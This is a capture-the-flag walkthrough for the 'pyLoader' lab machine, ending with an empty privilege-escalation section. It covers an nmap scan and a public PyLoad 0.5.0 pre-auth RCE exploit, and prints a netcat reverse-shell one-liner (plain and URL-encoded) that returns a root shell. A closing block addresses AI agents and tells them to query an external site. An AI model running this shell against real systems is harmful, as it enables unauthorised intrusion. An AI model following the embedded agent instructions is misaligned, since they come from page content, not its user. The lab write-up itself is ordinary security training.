# pyLoader

## Intro

## Initial Foothold

```
# Nmap 7.94SVN scan initiated Fri Sep  6 10:47:32 2024 as: nmap -sC -sV -vv -oA nmap/initial pyloader.pg
Nmap scan report for pyloader.pg (192.168.199.26)
Host is up, received echo-reply ttl 61 (0.048s latency).
Scanned at 2024-09-06 10:47:33 CDT for 36s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
9666/tcp open  http    syn-ack ttl 61 CherryPy wsgiserver
| http-robots.txt: 1 disallowed entry 
|_/
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://pyloader.pg:9666/
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: Cheroot/8.6.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  6 10:48:09 2024 -- 1 IP address (1 host up) scanned in 36.50 seconds
```

<figure><img src="/files/MFmvbzKTsvQWsLYa5Mnq" alt=""><figcaption></figcaption></figure>

```
┌──(joe㉿kali)-[~]
└─$ searchsploit pyload
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)     | python/webapps/51532.py
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```

<figure><img src="/files/77qnSeMWuPSROqykFN0a" alt=""><figcaption></figcaption></figure>

```
# Command before URL encoding
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.196 443 >/tmp/f

┌──(joe㉿kali)-[~/hax/pg/pyloader]
└─$ python3 51532.py -u http://pyloader.pg:9666 -c 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.45.196%20443%20%3E%2Ftmp%2Ff'
[+] Check if target host is alive: http://pyloader.pg:9666
[+] Host up, let's exploit! 
```

```
┌──(joe㉿kali)-[~/hax/pg/pyloader]
└─$ sudo nc -lvnp 443                                     
listening on [any] 443 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.199.26] 60852
sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/proof.txt
18bf7856543bc00e2a7dca6996112b09
```

## Privilege Escalation


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://walkthroughs.cyanidesecurity.com/proving-grounds/pyloader.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.